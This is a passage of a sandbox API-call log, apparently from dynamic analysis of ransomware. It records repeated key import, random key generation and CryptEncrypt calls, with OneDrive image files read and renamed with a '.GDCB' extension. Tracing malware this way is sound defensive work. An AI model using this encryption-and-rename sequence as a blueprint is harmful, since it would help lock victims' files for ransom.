phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0198.730] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089878) returned 1 [0198.730] CryptGetKeyParam (in: hKey=0x5089878, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.730] CryptEncrypt (in: hKey=0x5089878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0198.730] GetLastError () returned 0x0 [0198.730] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0198.730] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\loading.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\loading.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0198.732] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0198.733] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0198.734] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x4e0, lpOverlapped=0x0) returned 1 [0198.742] VirtualAlloc (lpAddress=0x0, dwSize=0x4e0, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0198.746] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\loading.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\loading.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\loading.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\loading.svg.gdcb")) returned 1 [0198.751] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0198.753] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.754] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.754] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0198.754] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.754] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0198.755] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.756] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.756] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0198.756] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0198.756] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0198.758] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089b38) returned 1 [0198.758] CryptGetKeyParam (in: hKey=0x5089b38, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.758] CryptEncrypt (in: hKey=0x5089b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0198.759] GetLastError () returned 0x0 [0198.759] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.759] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0198.760] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089f78) returned 1 [0198.760] CryptGetKeyParam (in: hKey=0x5089f78, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.760] CryptEncrypt (in: hKey=0x5089f78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0198.761] GetLastError () returned 0x0 [0198.761] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0198.761] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\onDemandFiles.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\ondemandfiles.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0198.762] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0198.763] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0198.764] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x1d50, lpOverlapped=0x0) returned 1 [0198.773] VirtualAlloc (lpAddress=0x0, dwSize=0x1d50, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0198.777] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\onDemandFiles.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\ondemandfiles.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\onDemandFiles.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\ondemandfiles.svg.gdcb")) returned 1 [0198.782] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0198.783] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.784] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.784] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0198.784] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.784] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0198.785] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.786] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.786] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0198.786] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.786] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0198.788] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089cb8) returned 1 [0198.788] CryptGetKeyParam (in: hKey=0x5089cb8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.788] CryptEncrypt (in: hKey=0x5089cb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0198.789] GetLastError () returned 0x0 [0198.789] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0198.789] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0198.790] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50898b8) returned 1 [0198.790] CryptGetKeyParam (in: hKey=0x50898b8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.791] CryptEncrypt (in: hKey=0x50898b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0198.791] GetLastError () returned 0x0 [0198.791] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0198.791] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\onDemandSelectiveSync.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\ondemandselectivesync.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0198.792] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0198.793] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0198.794] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0xa54, lpOverlapped=0x0) returned 1 [0198.836] VirtualAlloc (lpAddress=0x0, dwSize=0xa60, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0198.840] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\onDemandSelectiveSync.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\ondemandselectivesync.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\onDemandSelectiveSync.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\ondemandselectivesync.svg.gdcb")) returned 0 [0198.843] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0198.845] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.846] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.846] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0198.846] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0198.846] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0198.847] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.848] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.848] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0198.848] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.848] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0198.850] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50898f8) returned 1 [0198.850] CryptGetKeyParam (in: hKey=0x50898f8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.850] CryptEncrypt (in: hKey=0x50898f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0198.850] GetLastError () returned 0x0 [0198.850] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.850] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0198.852] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089cf8) returned 1 [0198.852] CryptGetKeyParam (in: hKey=0x5089cf8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.852] CryptEncrypt (in: hKey=0x5089cf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0198.852] GetLastError () returned 0x0 [0198.852] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.852] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\onedrivePremium.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\onedrivepremium.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0198.854] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0198.855] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0198.856] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x46c, lpOverlapped=0x0) returned 1 [0198.874] VirtualAlloc (lpAddress=0x0, dwSize=0x470, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0198.878] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\onedrivePremium.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\onedrivepremium.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\onedrivePremium.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\onedrivepremium.svg.gdcb")) returned 1 [0198.884] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0198.885] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.886] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.886] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0198.886] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.886] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0198.888] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.888] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.888] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0198.888] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.889] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0198.891] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089ef8) returned 1 [0198.891] CryptGetKeyParam (in: hKey=0x5089ef8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.891] CryptEncrypt (in: hKey=0x5089ef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0198.891] GetLastError () returned 0x0 [0198.891] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.891] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0198.893] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089938) returned 1 [0198.893] CryptGetKeyParam (in: hKey=0x5089938, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.893] CryptEncrypt (in: hKey=0x5089938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0198.893] GetLastError () returned 0x0 [0198.893] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0198.893] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\partiallyFreezing.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\partiallyfreezing.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0198.895] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0198.896] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0198.897] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x1137, lpOverlapped=0x0) returned 1 [0198.915] VirtualAlloc (lpAddress=0x0, dwSize=0x1140, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0198.919] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\partiallyFreezing.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\partiallyfreezing.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\partiallyFreezing.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\partiallyfreezing.svg.gdcb")) returned 1 [0198.923] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0198.924] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.925] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.925] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0198.925] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.925] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0198.926] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.927] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.927] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0198.927] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0198.927] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0198.930] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50899f8) returned 1 [0198.930] CryptGetKeyParam (in: hKey=0x50899f8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.930] CryptEncrypt (in: hKey=0x50899f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0198.930] GetLastError () returned 0x0 [0198.930] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.930] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0198.932] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089a78) returned 1 [0198.932] CryptGetKeyParam (in: hKey=0x5089a78, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.932] CryptEncrypt (in: hKey=0x5089a78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0198.932] GetLastError () returned 0x0 [0198.932] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.932] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application 